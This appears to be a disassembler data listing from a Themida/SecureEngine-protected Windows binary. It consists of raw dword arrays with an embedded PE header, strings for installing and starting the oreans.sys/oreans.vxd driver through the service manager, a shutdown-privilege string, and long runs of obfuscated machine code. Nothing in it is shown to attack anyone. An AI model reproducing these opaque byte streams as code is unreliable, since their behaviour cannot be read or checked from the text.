		dd 37D0h, 0E8h,	0C0835800h, 0E908890Eh,	2, 0D0E9C38Bh
		dd 4D000037h, 300905Ah,	4000000h, 0FF000000h, 0B80000FFh
		dd 0
		dd 40000000h, 8	dup(0)
		dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
		dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
		dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
		dd 240A0D0Dh, 0
		dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
		dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
		dd 887376h, 0
		dd 4C000000h, 45h, 2000000h, 400h, 0
		dd 14000380h, 5	dup(0)
		dd 0C0000002h, 90000001h, 0
		dd 7E000000h, 0
		dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
		dd 2C000000h, 38000001h, 1, 0
		dd 42000000h, 96000001h, 0D2000001h, 1,	0D2000000h, 1
		dd 0
		dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
		dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
		dd 444F43h, 100h, 200h,	300h, 400h, 500h, 600h,	700h, 800h
		dd 900h, 0A00h,	0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
		dd 1100h, 1200h, 1300h,	8001400h, 4F525058h, 44585654h
		dd 1000000h, 3000103h, 2 dup(0)
		dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
		dd 7005001h, 1019100h, 27279Bh,	276F0106h, 17D0179h, 1850181h
		dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
		dd 27h,	360h dup(0)
		dd 1000004h, 58000000h,	544F5250h, 445856h, 800000h, 8 dup(0)
		dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
		dd 527376h, 9C3h dup(0)
		dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
		dd 9 dup(0)
		dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h
		dd 58D1475h, 0
		dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h
		dd 4244445Fh, 0E9000000h, 10A9h, 41564441h, 32334950h
		dd 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h, 417265h
		dd 61657243h, 65536574h, 63697672h, 53004165h, 74726174h
		dd 76726553h, 41656369h, 74654700h, 6974614Eh, 79536576h
		dd 6D657473h, 6F666E49h, 65704F00h, 7265536Eh, 65636976h
		dd 65440041h, 6574656Ch, 76726553h, 656369h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4300656Ch, 72746E6Fh
		dd 65536C6Fh, 63697672h, 65h, 7	dup(0)
		dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0
		dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0)
		dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h
		dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h
		dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch
		dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0)
		dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h
		dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h
		dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h
		dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h
		dd 6E616572h, 2E323373h, 737973h, 49h dup(0)
a3cannotUpdateO	db '3Cannot Update oreans.sys driver. Please, make sure that you have'
		db 0Ah
		db 0Dh,'administrator',27h,'s permits the first time that you are going to '
		db 'run this program.',0
		align 4
		dd 59h dup(0)
a3cannotOpenOre	db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah
		db 0Dh,'is not open by another program.',0
		align 4
		dd 67h dup(0)
a3secureengineD	db '3SecureEngine driver cannot be updated because there are some pro'
		db 'grams using',0Ah
		db 0Dh,'it. You need to close those programs or restart your computer.',0Ah
		db 0Dh,'Restart now?',0
		align 10h
		dd 80h dup(0)
dword_56C180	dd 59h dup(0)		; DATA XREF: Themida_:00545673o
a_Oreans_vxd	db '\\.\Oreans.vxd',0
		align 4
		dd 2 dup(0)
		dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0)
aSeshutdownpr_0	db 'SeShutdownPrivilege',0
		dd 0
aCreateeventApi	db 'CreateEvent API Error while extraction the driver',0
aGetenvironment	db 'GetEnvironmentVariable API Error while extraction the driver',0
aOpenscmanagerA	db 'OpenSCManager API Error while extraction the driver',0
aCreateserviceA	db 'CreateService API Error while extraction the driver',0
aCloseservice_0	db 'CloseServiceHandle API Error while extraction the driver',0
aOpenserviceApi	db 'OpenService API Error while extraction the driver',0
aStartserviceAp	db 'StartService API Error while extraction the driver',0
aApicErrorCanno	db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah
		db 0Dh,'contact info@oreans.com for this error',0
		align 10h
		dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch
		dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h
		dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h
		dd 70h dup(0)
		dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh
		dd 9400h, 500h,	100h, 0A2800h, 200h, 21h dup(0)
		dd 66C48B00h, 8589F88Bh, 6071FF1h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 33C35242h, 127B2D2h, 70D29B5h
		dd 818D8B06h, 8B060700h, 88C0FC0h, 0F000000h, 283h, 8345B500h
		dd 71ACDBDh, 9750006h, 1135BD83h, 74000607h, 8B535019h
		dd 43DB8C0h, 85890000h,	6071F7Dh, 0ADC09D8Dh, 0D3FF0609h
		dd 0BD83585Bh, 6071135h, 50177400h, 43DB853h, 85890000h
		dd 6071F7Dh, 0AAAF9D8Dh, 0D3FF0609h, 7FB1585Bh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 2C35646h, 8BF5DD52h
		dd 0FC08BCEh, 68Bh, 9DBD0B00h, 8B060704h, 70FC995h, 60C08B06h
		dd 0AE960h, 44560000h, 0D1842ADAh, 7E571567h, 3098D8Bh
		dd 0F610607h, 687h, 8E0F00h, 61000000h,	1ACDBD83h, 75000607h
		dd 35BD8309h, 60711h, 53501374h, 0B8C08Bh, 8D000000h, 9AC629Dh
		dd 5BD3FF06h, 35BD8358h, 60711h, 53501174h, 0B8h, 139D8D00h
		dd 0FF0609ABh, 0B9585BD3h, 6E4E22E5h, 305D9529h, 0C08B0607h
		dd 4B11BA66h, 8589C08Bh, 6072FFDh, 1ACDBD83h, 75000607h
		dd 35BD8309h, 60711h, 53501374h, 0B8C08Bh, 8D000000h, 9AB949Dh
		dd 5BD3FF06h, 35BD8358h, 60711h, 53501174h, 0B8h, 0E19D8D00h
		dd 0FF0609AAh, 0BA585BD3h, 0E13DF9h, 0E258D8Bh,	0C08B0607h
		dd 14E8h
		db 0
byte_56C991	db 12h,	90h, 0CDh	; DATA XREF: Themida_:0053CAA4o
		dd 0C6B65A61h, 8A720C0Ch, 0EB3A9937h, 0D2343C93h, 16B966DDh
		dd 8D8959C5h, 60702E5h,	9529C08Bh, 607194Dh, 1ACDBD83h
		dd 75000607h, 35BD8309h, 60711h, 53501374h, 0B8C08Bh, 8D000000h
		dd 9ABFB9Dh, 5BD3FF06h,	35BD8358h, 60711h, 53501174h, 0B8h
		dd 0FA9D8D00h, 0FF0609AAh, 8B585BD3h, 728A98Dh,	0BDBD8B06h
		dd 8B06071Dh, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0ED581F22h, 0F18D8BA5h, 8B06072Fh
		dd 4FC281C0h, 8363FCAFh, 71ACDBDh, 9750006h, 1135BD83h
		dd 74000607h, 8B535013h, 0B8C0h, 9D8D0000h, 609AB2Dh, 585BD3FFh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 62C35343h
		dd 0D42B8AFEh, 0C08BCB8Bh, 2CE8BF66h, 0F60C08Bh, 61F9F3B7h
		dd 1ACDBD83h, 75000607h, 35BD8309h, 60711h, 53501974h
		dd 0D0B8C08Bh, 89000007h, 71F7D85h, 0C09D8D06h,	0FF0609ADh
		dd 83585BD3h, 71135BDh,	17740006h, 0D0B85350h, 89000007h
		dd 71F7D85h, 0AF9D8D06h, 0FF0609AAh, 0E8585BD3h, 0Eh, 450E386Fh
		dd 0E6D034AAh, 0DA292001h, 0E95AEF1Dh, 10h, 2F62A5A0h
		dd 0DC20EE42h, 1CF71171h, 0D4F48C64h, 8529C08Bh, 6072BC9h
		dd 9CD85C6h, 6A530607h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0DF2AC350h,	0B589DD06h
		dd 6070549h, 32619589h,	90680607h, 8199395Fh, 721905F7h
		dd 9DB5FF64h, 6A060705h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 31D3C350h, 71A1D95h
		dd 63858D06h, 0F060739h, 280h, 0FFF58A00h, 89F08AD0h, 7185985h
		dd 118D8906h, 0C6060702h, 709CD85h, 8D8B5706h, 6070D31h
		dd 4520668h, 0C18D2990h, 0FF060720h, 7059DB5h, 14E906h
		dd 0F1450000h, 74BD6BCAh, 0C8E845B4h, 8692A4E9h, 25646318h
		dd 858DDC4Ch, 6073963h,	0CE8h, 25C35400h, 0EB129031h, 0CBD242EBh
		dd 0B995037Eh, 5906070Bh, 0EA81D0FFh, 55721F99h, 2B898589h
		dd 95890607h, 60707C1h,	9CD85C6h, 53430607h, 7F1BD8Bh
		dd 68590607h, 0BC907028h, 9E960h, 0E9A80000h, 0EC70B744h
		dd 61745CFFh, 59DB5FFh,	0D1810607h, 1691D855h, 3963858Dh
		dd 81660607h, 0FF28CBD7h, 6E9D0h, 0B7F30000h, 8217A159h
		dd 19F19589h, 85890607h, 60707EDh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0E8C35242h,	70FA1E5Dh, 34E42269h
		dd 0C895B960h, 0D081789Ah, 3FC84319h, 0CD85C661h, 4C060709h
		dd 5B58589h, 0E9680607h, 8BD9DA1Ch, 71ADD95h, 9DB5FF06h
		dd 6A060705h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 51F1C357h, 0E9B44418h,	0Dh, 589F8B50h
		dd 0A0B7F46Dh, 24E36291h, 63858DCDh, 89060739h,	703999Dh
		dd 0BE906h, 0E6FF0000h,	8CEFE606h, 0C9040411h, 0E9D0FFABh
		dd 6, 0B47C7AFBh, 8589B1ADh, 6070F15h, 8A80C181h, 890F0056h
		dd 6, 20798D89h, 85C60607h, 60709CDh, 0C5BD8B46h, 6806070Ah
		dd 0BADE0614h, 3CE8BA66h, 0FFF98B66h, 7059DB5h,	68D0F06h
		dd 89000000h, 70DA58Dh,	29B58906h, 8D060718h, 7396385h
		dd 0C5BF6606h, 8BD0FF71h, 70FE18Dh, 0D858906h, 0E8060711h
		dd 8, 236B1089h, 643C63B0h, 1B198D01h, 0C6590607h, 709CD85h
		dd 8D094706h, 6072AD5h,	0FB5E268h, 12A8BF8Ah, 0B5FF5664h
		dd 607059Dh, 20FD958Bh,	858D0607h, 6073963h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0FAC35040h, 42712F27h
		dd 0FF51AA10h, 8EBF66D0h, 0BD8589B6h, 6A06070Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 6251C355h, 0AE9h, 63C6E700h,	8B73C3FAh, 0C64FC930h
		dd 709CD85h, 66F54706h,	5D8CF181h, 0D0B5F368h, 14E983h
		dd 0D1E90000h, 3DBB5192h, 0F219F172h, 0BE742F04h, 0A272FCDh
		dd 0B5FFE09Bh, 607059Dh, 0D29BD8Bh, 858D0607h, 6073963h
		dd 8890Fh, 810F0000h, 2, 0D0FFF48Ah, 2F7D8D0Bh,	85890607h
		dd 6071949h, 11E9h, 0C7328800h,	345203D9h, 0AD830398h
		dd 2578BB96h, 0EE8B818h, 83000000h, 56A42D83h, 0B3D25A05h
		dd 752C8061h, 0F98B66A3h, 0CD85C65Fh, 77060709h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 64C35141h, 298529BFh
		dd 6606072Ch, 9678DF81h, 97A8A368h, 51006AF3h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0B22E2AA4h
		dd 0BD899C2Bh, 6071221h, 1085B5FFh, 0F7810607h,	6D45B90Ah
		dd 3963858Dh, 3AB20607h, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0AA6790C3h, 0C96AC05Eh
		dd 0F281A101h, 2A72F7C2h, 8589D48Ah, 60700A1h, 85C6CF8Bh
		dd 60709CDh, 53006A47h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 5BD8997h,	68060700h, 8728FAF6h, 216D8D8Bh
		dd 0B5FF0607h, 607059Dh, 10E9F5h, 0BFBC0000h, 16BF8E74h
		dd 7D54C957h, 7AFB315Eh, 858DB47Ch, 6073963h, 2A9D8589h
		dd 0D0FF0607h, 1B4D9533h, 85890607h, 6070651h, 23218D8Bh
		dd 85C60607h, 60709CDh,	1165BF43h, 0FC680388h, 6ABC8E6Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0C7F0C353h, 0E3D5BFE7h, 0B5FF732Fh, 607059Dh
		dd 0AC58D8Bh, 858D0607h, 6073963h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0AFC35747h,	3909ACB3h, 1B658D29h
		dd 0AE90607h, 70000000h, 0CAC5A4CAh, 6C75E7h, 6AD0FF3Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0CAF3C351h, 2D8589A5h, 66060711h,	0C6FC7FB9h
		dd 709CD85h, 0FE8B4506h, 72696968h, 52006A8Eh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 2A78DA42h
		dd 0D34B4CBAh, 0D6805B34h, 9DB5FF28h, 6A060705h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 2CE8C351h, 3CAD011Dh, 8C99589h, 858D0607h, 6073963h
		dd 0D0D9589h, 8D890607h, 60702FDh, 8D8BD0FFh, 6071D95h
		dd 2BDD8589h, 0BD8B0607h, 6070D65h, 9CD85C6h, 0B440607h
		dd 729E1BDh, 6800F06h, 9000000h, 705498Dh, 0EC646806h
		dd 6AB8F2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0EDFAADC3h, 894BC67Fh, 72E4D95h, 13E906h
		dd 0ACB0000h, 826F7347h, 348DC415h, 36D7FF2Dh, 0E16BBEEAh
		dd 9DB5FF9Ah, 81060705h, 0FB346C9h, 63858D44h, 6A060739h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0A5F9C353h, 0D0FF7871h, 13E9h, 94A8F900h
		dd 3B98FC25h, 53A66BA5h, 9A70F510h, 0D988E77h, 1E658589h
		dd 10E90607h, 36000000h, 296570A6h, 9A8C4255h, 6F0FD98Bh
		dd 60482BEEh, 66F3B70Fh, 6121D1BBh, 9CD85C6h, 60430607h
		dd 13E9h, 0F7A20500h, 995AB2F7h, 8E34D847h
		dd 0A4FCF17Fh, 0DED1FD47h, 4AA76861h, 0FFF8C076h, 7059DB5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0A472BBBh, 56677CBBh, 0A698D31h,	60600607h
		dd 319958Bh, 958B0607h,	6070BC9h, 2DBD2961h, 61060703h
		dd 3963858Dh, 0D0FF0607h, 28B1958Bh, 14E90607h,	0B000000h
		dd 721E65FFh, 0FEFB7514h, 7107B7E1h, 0C775B8AAh, 89979ED2h
		dd 702C185h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 8B66B666h, 7FBD80D1h, 609FBh, 93840Fh
		dd 858D0000h, 609FB61h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 63C35141h, 0D3F837E3h, 0F5750B3h, 85h
		dd 16A5900h, 1061B589h,	6A0607h, 43D98166h, 89006A37h
		dd 711E585h, 0ED95FF06h, 81060707h, 0D3AE2CE7h,	0F585895Ch
		dd 6A06072Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 6A06C351h, 0C5958BFFh,	0FF060718h
		dd 72FF5B5h, 77CF8106h,	0FF25BD56h, 72B8995h, 0EFBA6606h
		dd 0FC08BDDh, 1285h, 0DE900h, 569C0000h, 0BC5DA64Dh, 6CB2A909h
		dd 834DC077h, 71ACDBDh,	9750006h, 1135BD83h, 74000607h
		dd 8B535019h, 7D1B8C0h,	85890000h, 6071F7Dh, 0ADC09D8Dh
		dd 0D3FF0609h, 0BD83585Bh, 6071135h, 50177400h,	7D1B853h
		dd 85890000h, 6071F7Dh,	0AAAF9D8Dh, 0D3FF0609h,	0CB8B585Bh
		dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 8F8E04C3h, 66E428FBh, 28AEC281h, 9CD85C6h
		dd 66470607h, 11412BFh,	71821B5h, 0F7C16806h, 0C58093C8h
		dd 9DB5FFD1h, 0F8060705h, 3963858Dh, 13E90607h,	0FD000000h
		dd 6E7DA442h, 2AEE6CDBh, 8881DCD0h, 856AA4C1h, 0D0FF0617h
		dd 426A56BFh, 8D895075h, 60719FDh, 6870F57h, 0B000000h
		dd 70241BDh, 858D5F06h,	609FFA2h, 2D819D29h, 0C70607h
		dd 94h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h
		dd 0CDC35141h, 661AB004h, 0E858CB8Bh, 8, 0EE4AF898h, 0A239D258h
		dd 2AE1BD8Bh, 8D5F0607h, 9FFA2B5h, 0F9BF0F06h, 50006A56h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 45C9766Ch, 82A4192Bh, 11E9h,	61460200h, 2DDBF59Dh, 0C6E4244Ch
		dd 7DD0B112h, 0D0FFE6E2h, 3518589h, 8D890607h, 6072A25h
		dd 0FFA2858Dh, 83F80609h, 0F060478h, 4A85h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 592B0521h, 36BAEABDh, 0C73FAD2Ah, 0A003685h,	106h, 12E900h
		dd 30990000h, 28F55897h, 0AC05D86Eh, 0C4B4955Bh, 0A51B3C2h
		dd 8308E980h, 70529BDh,	850F0006h, 52h,	10E852h, 0F4D30000h
		dd 0CE8AB30Dh, 68400E4Dh, 0F30216Ah, 5E9E45Ch, 6D000000h
		dd 7BAEE44Ch, 0BD83595Ah, 60A0036h, 23850F00h, 8B000000h
		dd 0C5BD83D3h, 60705h, 14840Fh,	9D310000h, 6071F29h, 22B585C7h
		dd 607h, 0B2510000h, 8C665FDFh,	45BD29DBh, 0F6060713h
		dd 840F04C3h, 554h, 255BD2Bh, 85C70607h, 60719BDh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 5C35141h
		dd 0D181665Fh, 0BD80D6A0h, 609FB8Ch, 0C850F00h,	0F000000h
		dd 685h, 358D8B00h, 0C6060715h,	709CD85h, 0BF0F4706h, 5B8668F9h
		dd 0BF0FE3E4h, 9DB5FFFEh, 29060705h, 713059Dh, 63858D06h
		dd 2B060739h, 72D7995h,	0E9D0FF06h, 13h, 0B3012BEDh, 0A7876F5Eh
		dd 14354EC3h, 157B8026h, 68B31F83h, 104h, 9D8D72B1h, 607312Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0BFC35242h
		dd 8529D978h, 60708A1h,	5E953h,	7D8A0000h, 0FF96CF64h
		dd 85F781D0h, 8D4BB197h, 7312D85h, 0F19D8906h, 5006072Bh
		dd 7E9h, 2600C400h, 16FF6624h, 0FB3E858Dh, 8D890609h, 607051Dh
		dd 0F1816650h, 858DBD9Eh, 609F211h, 0C8CCBA66h,	55006A50h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 7420169Eh, 0E15BD89h, 95FF0607h, 60700A1h, 18D8C6BFh
		dd 0E9B50122h, 8306070Fh, 6AFC0CC4h, 806800h, 36A0000h
		dd 6A006Ah, 68h, 11858D80h, 500609F2h, 112D95FFh, 85890607h
		dd 609FB21h, 9CD85C6h, 68470607h, 0C7B15E87h, 59DB5FFh
		dd 858D0607h, 6073963h,	6AD0FFh, 0FB21B5FFh, 0D0FF0609h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 3C35040h
		dd 9590414h, 70051BDh, 81BD8906h, 66060729h, 0D03DD08Bh
		dd 0F000037h, 0A283h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0E03A0CD4h, 8EF2ABE2h
		dd 0FFF88BEDh, 9FB21B5h, 14E806h, 0D9830000h, 4DE79257h
		dd 1523FE2Dh, 0D1D9259Bh, 0EABFF2E2h, 6E956FDh,	9C000000h
		dd 3002CEF9h, 95FF5926h, 60702C1h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 4C35343h, 9417F361h, 0E14A8DAAh
		dd 0EFE9h, 17860F00h, 0E8000000h, 10h, 7BFAAB2Ah, 0C10EDCE7h
		dd 24ABDCF2h, 12CFA0D5h, 64BA5AF8h, 0FF59DC58h,	9FB21B5h
		dd 7D958B06h, 0FF06070Bh, 702C195h, 5B50906h, 6A060713h
		dd 398D8B00h, 6A060713h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0FA7FB11Bh, 0FCEDCA7h
		dd 1E18D89h, 6A0607h, 5958BF5h,	6A06070Ch, 0E1BD0B00h
		dd 6A060725h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 9573F525h, 0A3FCD63Ch, 9D892DC1h
		dd 607064Dh, 0E9006AFCh, 7, 0B100E5F6h,	89E44856h, 70B7185h
		dd 25858D06h, 0BF0609FBh, 4081A3h, 50D0B70Fh, 10359D89h
		dd 95FF0607h, 607112Dh,	28B1B589h, 0F8830607h, 55850FFFh
		dd 66000001h, 0F48E281h, 0B6B1858Dh, 6A0609h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 3E922CC3h
		dd 95958B0Ch, 0FF060718h, 918589D0h, 6A060729h,	79E18100h
		dd 6A61F5B2h, 0FA8B6600h, 8D89006Ah, 6072189h, 810F006Ah
		dd 4, 1F00B966h, 9D89006Ah, 6071DB1h, 0BA66006Ah, 858DCEC2h
		dd 609FB25h, 6A50F5h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0C40B36C3h, 0C8D8CABh, 8D89211Dh
		dd 6070211h, 1DACB960h,	0E9517EB5h, 12h, 0A49D7628h, 68DD2346h
		dd 6A19F9E1h, 0EFA0B5B8h, 6158B926h, 112D95FFh,	6A0607h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 202D67C3h, 43608AE5h, 14E9E0h, 0E6B40000h, 0DC26287Dh
		dd 547AA39Fh, 8F3E6714h, 6FE39B2Bh, 0F883DB72h,	51850FFFh
		dd 8B000000h, 71F15BDh,	2DB58D06h, 660609F5h, 5F89CA81h
		dd 9FA8858Dh, 11E90609h, 2C000000h, 254EB3F1h, 573BB21Eh
		dd 1AE39814h, 0DCFE5C29h, 9589D0FFh, 60728A1h, 8960006Ah
		dd 72081B5h, 598D3106h,	61060723h, 2BDD95FFh, 85890607h
		dd 6072D1Dh, 0FB218589h, 6AF90609h, 19858D00h, 660609FBh
		dd 0BDE7E181h, 0BF666050h, 820F2375h, 6, 1079B509h, 6A610607h
		dd 56006A04h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 9BCEB098h, 8C0F8524h, 0Ch, 68C0Fh, 8D890000h
		dd 60729E1h, 178E0F60h,	0E9000000h, 12h, 0CF63F17Ch, 69592F1Fh
		dd 49353549h, 0C8E326C9h, 40B5A01Ah, 0B43BB961h, 858D4767h
		dd 60728F1h, 0FA1BD89h,	60500607h, 99BE66F5h, 6A6104h
		dd 1AD5BD8Bh, 6A0607h, 95853151h, 5A060732h, 0EF81016Ah
		dd 0EA7DF2Ah, 0FB21B5FFh, 0D1800609h, 6595FF75h, 8906071Eh
		dd 729FDB5h, 0CD9D2906h, 0E9060718h, 1B8Ch, 0CF8AC08Bh
		dd 1ACDBD83h, 75000607h, 35BD8309h, 60711h, 53501974h
		dd 0D2B8C08Bh, 89000007h, 71F7D85h, 0C09D8D06h,	0FF0609ADh
		dd 83585BD3h, 71135BDh,	17740006h, 0D2B85350h, 89000007h
		dd 71F7D85h, 0AF9D8D06h, 0FF0609AAh, 8B585BD3h,	704C195h
		dd 0D78B6606h, 0F1B5C08Bh, 19BD85C7h, 10607h, 13E80000h
		dd 4E000000h, 9454FA3Ah, 0ED85131h, 817FDE25h, 745DEEC9h
		dd 81664714h, 5A5CBACFh, 68D3BF0Fh, 0CEE4E7B8h,	29E5B5FFh
		dd 858D0607h, 6073963h,	8589D0FFh, 60704D9h, 5DBD468h
		dd 0E5B5FFC0h, 8D060729h, 7396385h, 89D0FF06h, 7222985h
		dd 0CA858D06h, 500609EFh, 59DB5FFh, 95FF0607h, 6070DBDh
		dd 0B74C00Bh, 858DD88Bh, 609FF7Dh, 8DD3FF50h, 9FF7D85h
		dd 38836606h, 0C70A7509h, 70B7985h, 106h, 5195FF00h, 25060706h
		dd 0FFh, 7305F883h, 0A185C70Ah,	1060713h, 89000000h, 718159Dh
		dd 80D7B506h, 9FB8CBDh,	850F0006h, 33h,	7E9h, 883A6400h
		dd 0D108EAD0h, 1A5BE9h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 9D8D8933h, 83060710h
		dd 70B79BDh, 850F0006h,	110h, 0FE8h, 81AA000h, 54DCF61h
		dd 59DC088Fh, 40CD0988h, 1EBDBD8Bh, 8D5F0607h, 9FB5685h
		dd 0DF816606h, 0F50B2ACh, 683h,	0ADB52900h, 6A060701h
		dd 0F006A01h, 1380h, 0EE900h, 0F3070000h, 5EBDA5FDh, 2A9F8DF1h
		dd 0ED694517h, 6A006Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 66D4FCC3h, 4609CA81h, 7ED95FFh
		dd 29600607h, 7151DBDh,	71BD2906h, 6106072Ah, 10B4BF66h
		dd 0FB808589h, 95230609h, 607212Dh, 0B589FF6Ah,	6071331h
		dd 0AD5EC781h, 0B5FF5CEBh, 609FB80h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 7BC35242h, 9598FBCh, 5C82346Ch
		dd 0F9B96629h, 12E8E6h,	720D0000h, 0D6DA2821h, 53200BF2h
		dd 0A9B049EAh, 30C6B1Bh, 0D19958Bh, 0FF5F0607h,	72B8995h
		dd 12E906h, 0E9BB0000h,	0F7F61485h, 0D7381EEBh,	150DEEB9h
		dd 3C195325h, 0EF91858Dh, 6A0609h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 9E8D36C3h, 6E8h, 20D69800h
		dd 0FD55634h, 1988h, 14E900h, 0DBD90000h, 0E44ACE31h, 0D96755DCh
		dd 9743A5E3h, 4B4F6DF5h
		dd 0E85ABE94h, 0Dh, 96AD8303h, 182578BBh, 943CF3B8h, 0E8505FB9h
		dd 0Bh,	492A51D3h, 0C8D6B0F0h, 313814B7h, 71265B5h, 95FF5906h
		dd 6070F15h, 60E725BFh,	1B85893Fh, 8D0609F0h, 9EF9E85h
		dd 9D895306h, 60710EDh,	0FA8B505Fh, 0F01BB5FFh,	8D8B0609h
		dd 60701EDh, 8E9h, 514F5300h, 0B986B5EEh, 0BD95FF6Fh, 8B06070Dh
		dd 7265995h, 61958B06h,	89060700h, 7226D85h, 0F9858906h
		dd 8D06072Eh, 9F00C85h,	10E906h, 57000000h, 219A183h, 3D88CD41h
		dd 4198D2F1h, 0E9501E8Bh, 12h, 200594C8h, 0B75AD88Dh, 70D259B6h
		dd 0D0170FF1h, 85018723h, 6070081h, 0F01BB5FFh,	85010609h
		dd 60703CDh, 0DBD95FFh,	0E9600607h, 11h, 0B08FBDDCh, 0B3CD8BFh
		dd 0D249EC7Ah, 0AACDEC0h, 13E85712h, 0AC000000h, 0AAFF8A4Ah
		dd 7E5D08C6h, 0D1FE6B1Dh, 0A46F25D9h, 5B5BDB08h, 5D952961h
		dd 89060703h, 9F02F85h,	56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 77AFA6AFh, 21819503h
